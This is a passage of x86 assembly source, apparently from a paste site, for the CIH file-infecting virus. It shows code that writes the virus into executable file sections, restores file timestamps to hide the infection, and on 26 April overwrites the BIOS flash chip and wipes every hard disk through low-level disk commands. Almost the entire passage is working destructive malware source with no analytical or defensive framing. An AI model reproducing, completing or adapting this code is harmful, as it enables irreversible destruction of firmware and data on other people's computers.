  937.             sub eax, 08h
  938.             mov [eax], ebx
  939.  
  940.             mov ebx, (PointerToRawData-@9)[edx]
  941.             add ebx, (VirtualSize-@9)[edx]
  942.             push    ebx ; Pointer of File
  943.  
  944.             push    edi ; Address of Buffer
  945.  
  946.             mov ebx, (VirtualSize-@9)[edx]
  947.             add ebx, (VirtualAddress-@9)[edx]
  948.             add ebx, (ImageBase-@9)[esi]
  949.             mov [eax+4], ebx
  950.  
  951.             mov ebx, [eax]
  952.             add (VirtualSize-@9)[edx], ebx
  953.  
  954.             ; Section contains initialized data ==> 00000040h
  955.             ; Section can be Read.              ==> 40000000h
  956.             or  (Characteristics-@9)[edx], 40000040h
  957.  
  958. StartToWriteCodeToSections:
  959.  
  960.             sub ebp, ebx
  961.             jbe SetVirusCodeSectionTableEndMark
  962.  
  963.             add edi, ebx    ; Move Address of Buffer
  964.  
  965. EndOfWriteCodeToSections:
  966.  
  967.             loop    LoopOfWriteCodeToSections
  968.  
  969. ; ***************************
  970. ; * Only Set Infected Mark  *
  971. ; ***************************
  972.  
  973. OnlySetInfectedMark:
  974.             mov esp, dr1
  975.  
  976.             jmp WriteVirusCodeToFile
  977.  
  978. ; ***************************
  979. ; * Set Virus Code          *
  980. ; * Section Table End Mark  *
  981. ; ***************************
  982.  
  983. SetVirusCodeSectionTableEndMark:
  984.  
  985.             ; Adjust Size of Virus Section Code to Correct Value
  986.             add [eax], ebp
  987.             add [esp+08h], ebp
  988.  
  989.             ; Set End Mark
  990.             xor ebx, ebx
  991.             mov [eax-04h], ebx
  992.  
  993. ; ***************************
  994. ; * When VirusGame Calls    *
  995. ; * VxDCall, VMM Modifies   *
  996. ; * the 'int 20h' and the   *
  997. ; * 'Service Identifier'    *
  998. ; * to 'Call [XXXXXXXX]'.   *
  999. ; ***************************
  1000. ; * Before Writing My Virus *
  1001. ; * to File, I Must Restore *
  1002. ; * them First.     ^__^    *
  1003. ; ***************************
  1004.  
  1005.             lea eax, (LastVxDCallAddress-2-@9)[esi]
  1006.  
  1007.             mov cl, VxDCallTableSize
  1008.  
  1009. LoopOfRestoreVxDCallID:
  1010.             mov word ptr [eax], 20cdh
  1011.  
  1012.             mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
  1013.             mov [eax+2], edx
  1014.  
  1015.             movzx   edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
  1016.             sub eax, edx
  1017.  
  1018.             loop    LoopOfRestoreVxDCallID
  1019.  
  1020. ; ***************************
  1021. ; * Let's Write             *
  1022. ; * Virus Code to the File  *
  1023. ; ***************************
  1024.  
  1025. WriteVirusCodeToFile:
  1026.             mov eax, dr1
  1027.             mov ebx, [eax+10h]
  1028.             mov edi, [eax]
  1029.  
  1030. LoopOfWriteVirusCodeToFile:
  1031.  
  1032.             pop ecx
  1033.             jecxz   SetFileModificationMark
  1034.  
  1035.             mov esi, ecx
  1036.             mov eax, 0d601h
  1037.             pop edx
  1038.             pop ecx
  1039.  
  1040.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  1041.  
  1042.             jmp LoopOfWriteVirusCodeToFile
  1043.  
  1044. ; ***************************
  1045. ; * Let's Set CF = 1 ==>    *
  1046. ; * Need to Restore File    *
  1047. ; * Modification Time       *
  1048. ; ***************************
  1049.  
  1050. SetFileModificationMark:
  1051.             pop ebx
  1052.             pop eax
  1053.  
  1054.             stc     ; Enable CF(Carry Flag)
  1055.             pushf
  1056.  
  1057. ; *************************************
  1058. ; * Close File                        *
  1059. ; *************************************
  1060.  
  1061. CloseFile:
  1062.             xor eax, eax
  1063.             mov ah, 0d7h
  1064.             call    edi ; VXDCall IFSMgr_Ring0_FileIO
  1065.  
  1066. ; *************************************
  1067. ; * Need to Restore File Modification *
  1068. ; * Time !?                           *
  1069. ; *************************************
  1070.  
  1071.             popf
  1072.             pop esi
  1073.             jnc IsKillComputer
  1074.  
  1075. ; *************************************
  1076. ; * Restore File Modification Time    *
  1077. ; *************************************
  1078.  
  1079.             mov ebx, edi
  1080.  
  1081.             mov ax, 4303h
  1082.             mov ecx, (FileModificationTime-@7)[esi]
  1083.             mov edi, (FileModificationTime+2-@7)[esi]
  1084.             call    ebx ; VXDCall IFSMgr_Ring0_FileIO
  1085.  
  1086. ; *************************************
  1087. ; * Disable OnBusy                    *
  1088. ; *************************************
  1089.  
  1090. DisableOnBusy:
  1091.             dec byte ptr (OnBusy-@7)[esi]   ; Disable OnBusy
  1092.  
  1093. ; *************************************
  1094. ; * Call Previous FileSystemApiHook   *
  1095. ; *************************************
  1096.  
  1097. prevhook:
  1098.             popad
  1099.  
  1100.             mov eax, dr0    ;
  1101.             jmp [eax]       ; Jump to prevhook
  1102.  
  1103. ; *************************************
  1104. ; * Call the Function that the IFS    *
  1105. ; * Manager Would Normally Call to    *
  1106. ; * Implement this Particular I/O     *
  1107. ; * Request.                          *
  1108. ; *************************************
  1109.  
  1110. pIFSFunc:
  1111.             mov ebx, esp
  1112.             push    dword ptr [ebx+20h+04h+14h] ; Push pioreq
  1113.             call    [ebx+20h+04h]           ; Call pIFSFunc
  1114.             pop ecx             ;
  1115.  
  1116.             mov [ebx+1ch], eax  ; Modify EAX Value in Stack
  1117.  
  1118. ; ***************************
  1119. ; * After Calling pIFSFunc, *
  1120. ; * Get Some Data from the  *
  1121. ; * Returned pioreq.        *
  1122. ; ***************************
  1123.  
  1124.             cmp dword ptr [ebx+20h+04h+04h], 00000024h
  1125.             jne QuitMyVirusFileSystemHook
  1126.  
  1127. ; *****************
  1128. ; * Get the File  *
  1129. ; * Modification  *
  1130. ; * Date and Time *
  1131. ; * in DOS Format.*
  1132. ; *****************
  1133.  
  1134.             mov eax, [ecx+28h]
  1135.             mov (FileModificationTime-@6)[esi], eax
  1136.  
  1137. ; ***************************
  1138. ; * Quit My Virus'          *
  1139. ; * IFSMgr_FileSystemHook   *
  1140. ; ***************************
  1141.  
  1142. QuitMyVirusFileSystemHook:
  1143.  
  1144.             popad
  1145.  
  1146.             ret
  1147.  
  1148. ; *************************************
  1149. ; * Kill Computer !? ...   *^_^*      *
  1150. ; *************************************
  1151.  
  1152. IsKillComputer:
  1153.             ; Get Now Month from BIOS CMOS
  1154.             mov ax, 0708h
  1155.             out 70h, al
  1156.             in  al, 71h
  1157.  
  1158.             xchg    ah, al
  1159.  
  1160.             ; Get Now Day from BIOS CMOS
  1161.             out 70h, al
  1162.             in  al, 71h
  1163.  
  1164.             xor ax, 0426h   ; 04/26/????
  1165.             jne DisableOnBusy
  1166.  
  1167. ; **************************************
  1168. ; * Kill Kill Kill Kill Kill Kill Kill *
  1169. ; * Kill Kill Kill Kill Kill Kill Kill *
  1170. ; * Kill Kill Kill Kill Kill Kill Kill *
  1171. ; * Kill Kill Kill Kill Kill Kill Kill *
  1172. ; * Kill Kill Kill Kill Kill Kill Kill *
  1173. ; * Kill Kill Kill Kill Kill Kill Kill *
  1174. ; * Kill Kill Kill Kill Kill Kill Kill *
  1175. ; * Kill Kill Kill Kill Kill Kill Kill *
  1176. ; * Kill Kill Kill Kill Kill Kill Kill *
  1177. ; * Kill Kill Kill Kill Kill Kill Kill *
  1178. ; * Kill Kill Kill Kill Kill Kill Kill *
  1179. ; * Kill Kill Kill Kill Kill Kill Kill *
  1180. ; * Kill Kill Kill Kill Kill Kill Kill *
  1181. ; * Kill Kill Kill Kill Kill Kill Kill *
  1182. ; * Kill Kill Kill Kill Kill Kill Kill *
  1183. ; * Kill Kill Kill Kill Kill Kill Kill *
  1184. ; * Kill Kill Kill Kill Kill Kill Kill *
  1185. ; * Kill Kill Kill Kill Kill Kill Kill *
  1186. ; **************************************
  1187.  
  1188. ; ***************************
  1189. ; * Kill BIOS EEPROM        *
  1190. ; ***************************
  1191.  
  1192.             mov bp, 0cf8h
  1193.             lea esi, IOForEEPROM-@7[esi]
  1194.  
  1195. ; ***********************
  1196. ; * Show BIOS Page in   *
  1197. ; * 000E0000 - 000EFFFF *
  1198. ; *    (   64 KB   )    *
  1199. ; ***********************
  1200.  
  1201.             mov edi, 8000384ch
  1202.             mov dx, 0cfeh
  1203.             cli
  1204.             call    esi
  1205.  
  1206. ; ***********************
  1207. ; * Show BIOS Page in   *
  1208. ; * 000F0000 - 000FFFFF *
  1209. ; *    (   64 KB   )    *
  1210. ; ***********************
  1211.  
  1212.             mov di, 0058h
  1213.             dec edx                 ; and al,0fh
  1214.             mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
  1215.             call    esi
  1216.  
  1217. ; ***********************
  1218. ; * Show the BIOS Extra *
  1219. ; * ROM Data in Memory  *
  1220. ; * 000E0000 - 000E01FF *
  1221. ; *   (   512 Bytes   ) *
  1222. ; * , and the Section   *
  1223. ; * of Extra BIOS can   *
  1224. ; * be Writted...       *
  1225. ; ***********************
  1226.  
  1227.             lea ebx, EnableEEPROMToWrite-@10[esi]
  1228.  
  1229.             mov eax, 0e5555h
  1230.             mov ecx, 0e2aaah
  1231.             call    ebx
  1232.             mov byte ptr [eax], 60h
  1233.  
  1234.             push    ecx
  1235.             loop    $
  1236.  
  1237. ; ***********************
  1238. ; * Kill the BIOS Extra *
  1239. ; * ROM Data in Memory  *
  1240. ; * 000E0000 - 000E007F *
  1241. ; *   (   80h Bytes   ) *
  1242. ; ***********************
  1243.  
  1244.             xor ah, ah
  1245.             mov [eax], al
  1246.  
  1247.             xchg    ecx, eax
  1248.             loop    $
  1249.  
  1250. ; ***********************
  1251. ; * Show and Enable the *
  1252. ; * BIOS Main ROM Data  *
  1253. ; * 000E0000 - 000FFFFF *
  1254. ; *   (   128 KB   )    *
  1255. ; * can be Writted...   *
  1256. ; ***********************
  1257.  
  1258.             mov eax, 0f5555h
  1259.             pop ecx
  1260.             mov ch, 0aah
  1261.             call    ebx
  1262.             mov byte ptr [eax], 20h
  1263.  
  1264.             loop    $
  1265.  
  1266. ; ***********************
  1267. ; * Kill the BIOS Main  *
  1268. ; * ROM Data in Memory  *
  1269. ; * 000FE000 - 000FE07F *
  1270. ; *   (   80h Bytes   ) *
  1271. ; ***********************
  1272.  
  1273.             mov ah, 0e0h
  1274.             mov [eax], al
  1275.  
  1276. ; ***********************
  1277. ; * Hide BIOS Page in   *
  1278. ; * 000F0000 - 000FFFFF *
  1279. ; *    (   64 KB   )    *
  1280. ; ***********************
  1281.                                     ; or al,10h
  1282.             mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
  1283.             call    esi
  1284.  
  1285. ; ***************************
  1286. ; * Kill All HardDisk       *
  1287. ; ***************************************************
  1288. ; * IOR Structure of IOS_SendCommand Needs          *
  1289. ; ***************************************************
  1290. ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
  1291. ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
  1292. ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
  1293. ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
  1294. ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
  1295. ; ***************************************************
  1296.  
  1297. KillHardDisk:
  1298.             xor ebx, ebx
  1299.             mov bh, FirstKillHardDiskNumber
  1300.             push    ebx
  1301.             sub esp, 2ch
  1302.             push    0c0001000h
  1303.             mov bh, 08h
  1304.             push    ebx
  1305.             push    ecx
  1306.             push    ecx
  1307.             push    ecx
  1308.             push    40000501h
  1309.             inc ecx
  1310.             push    ecx
  1311.             push    ecx
  1312.  
  1313.             mov esi, esp
  1314.             sub esp, 0ach
  1315.  
  1316. LoopOfKillHardDisk:
  1317.             int 20h
  1318.             dd  00100004h   ; VXDCall IOS_SendCommand
  1319.  
  1320.             cmp word ptr [esi+06h], 0017h
  1321.             je  KillNextDataSection
  1322.  
  1323. ChangeNextHardDisk:
  1324.             inc byte ptr [esi+4dh]
  1325.  
  1326.             jmp LoopOfKillHardDisk
  1327.  
  1328. KillNextDataSection:
  1329.             add dword ptr [esi+10h], ebx
  1330.             mov byte ptr [esi+4dh], FirstKillHardDiskNumber
  1331.  
  1332.             jmp LoopOfKillHardDisk
  1333.  
  1334. ; ***************************
  1335. ; * Enable EEPROM to Write  *
  1336. ; ***************************
  1337.  
  1338. EnableEEPROMToWrite:
  1339.             mov [eax], cl
  1340.             mov [ecx], al
  1341.             mov byte ptr [eax], 80h
  1342.             mov [eax], cl
  1343.             mov [ecx], al
  1344.  
  1345.             ret
  1346.  
  1347. ; ***************************
  1348. ; * IO for EEPROM           *
  1349. ; ***************************
  1350.  
  1351. IOForEEPROM:
  1352. @10         =   IOForEEPROM
  1353.  
  1354.             xchg    eax, edi
  1355.             xchg    edx, ebp
  1356.             out dx, eax
  1357.  
  1358.             xchg    eax, edi
  1359.             xchg    edx, ebp
  1360.             in  al, dx
  1361.  
  1362. BooleanCalculateCode    =   $
  1363.             or  al, 44h
  1364.  
  1365.             xchg    eax, edi
  1366.             xchg    edx, ebp
  1367.             out dx, eax
  1368.  
  1369.             xchg    eax, edi
  1370.             xchg    edx, ebp
  1371.             out dx, al
  1372.  
  1373.             ret
  1374.  
  1375. ; *********************************************************
  1376. ; *         Static Data                       *
  1377. ; *********************************************************
  1378.  
  1379. LastVxDCallAddress  =   IFSMgr_Ring0_FileIO
  1380. VxDCallAddressTable db  00h
  1381.             db  IFSMgr_RemoveFileSystemApiHook-_PageAllocate
  1382.             db  UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
  1383.             db  IFSMgr_Ring0_FileIO-UniToBCSPath
  1384.  
  1385. VxDCallIDTable      dd  00010053h, 00400068h, 00400041h, 00400032h
  1386. VxDCallTableSize    =   ($-VxDCallIDTable)/04h
  1387.  
  1388. ; *********************************************************
  1389. ; *                Virus Version Copyright                *
  1390. ; *********************************************************
  1391.  
  1392. VirusVersionCopyright   db  'CIH v'
  1393.             db  MajorVirusVersion+'0'
  1394.             db  '.'
  1395.             db  MinorVirusVersion+'0'
  1396.             db  ' TTIT'
  1397.  
  1398. ; *********************************************************
  1399. ; *         Virus Size                        *
  1400. ; *********************************************************
  1401.  
  1402. VirusSize           =   $
  1403. ;               + SizeOfVirusCodeSectionTableEndMark(04h)
  1404. ;               + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
  1405. ;               + SizeOfTheFirstVirusCodeSectionTable(04h)
  1406.  
  1407. ; *********************************************************
  1408. ; *         Dynamic Data                      *
  1409. ; *********************************************************
  1410.  
  1411. VirusGameDataStartAddress   =   VirusSize
  1412. @6              =   VirusGameDataStartAddress
  1413. OnBusy              db  0
  1414. FileModificationTime        dd  ?
  1415.  
  1416. FileNameBuffer      db  FileNameBufferSize dup(?)
  1417. @7          =   FileNameBuffer
  1418.  
  1419. DataBuffer      =   $
  1420. @8          =   DataBuffer
  1421. NumberOfSections    dw  ?
  1422. TimeDateStamp       dd  ?
  1423. SymbolsPointer      dd  ?
  1424. NumberOfSymbols     dd  ?
  1425. SizeOfOptionalHeader    dw  ?
  1426. _Characteristics    dw  ?
  1427. Magic           dw  ?
  1428. LinkerVersion       dw  ?
  1429. SizeOfCode      dd  ?
  1430. SizeOfInitializedData   dd  ?
  1431. SizeOfUninitializedData dd  ?
  1432. AddressOfEntryPoint dd  ?
  1433. BaseOfCode      dd  ?
  1434. BaseOfData      dd  ?
  1435. ImageBase       dd  ?
  1436. @9          =   $
  1437. SectionAlignment    dd  ?
  1438. FileAlignment       dd  ?
  1439. OperatingSystemVersion  dd  ?
  1440. ImageVersion        dd  ?
  1441. SubsystemVersion    dd  ?
  1442. Reserved        dd  ?
  1443. SizeOfImage     dd  ?
  1444. SizeOfHeaders       dd  ?
  1445. SizeOfImageHeaderToRead     =   $-NumberOfSections
  1446.  
  1447. NewAddressOfEntryPoint  =   DataBuffer  ; DWORD
  1448. SizeOfImageHeaderToWrite    =   04h
  1449.  
  1450. StartOfSectionTable =   @9
  1451. SectionName     =   StartOfSectionTable ; QWORD
  1452. VirtualSize     =   StartOfSectionTable+08h ; DWORD
  1453. VirtualAddress      =   StartOfSectionTable+0ch ; DWORD
  1454. SizeOfRawData       =   StartOfSectionTable+10h ; DWORD
  1455. PointerToRawData    =   StartOfSectionTable+14h ; DWORD
  1456. PointerToRelocations    =   StartOfSectionTable+18h ; DWORD
  1457. PointerToLineNumbers    =   StartOfSectionTable+1ch ; DWORD
  1458. NumberOfRelocations =   StartOfSectionTable+20h ; WORD
  1459. NumberOfLinenNmbers =   StartOfSectionTable+22h ; WORD
  1460. Characteristics     =   StartOfSectionTable+24h ; DWORD
  1461. SizeOfScetionTable  =   Characteristics+04h-SectionName
  1462.  
  1463. ; *********************************************************
  1464. ; *     Virus Total Need Memory                   *
  1465. ; *********************************************************
  1466.  
  1467. VirusNeedBaseMemory =   $
  1468.  
  1469. VirusTotalNeedMemory    =   @9
  1470. ;               + NumberOfSections(??)*SizeOfScetionTable(28h)
  1471. ;               + SizeOfVirusCodeSectionTableEndMark(04h)
  1472. ;               + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
  1473. ;               + SizeOfTheFirstVirusCodeSectionTable(04h)
  1474.  
  1475. ; *********************************************************
  1476. ; *********************************************************
  1477.  
  1478. VirusGame               ENDS
  1479.  
  1480.                         END     FileHeader
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement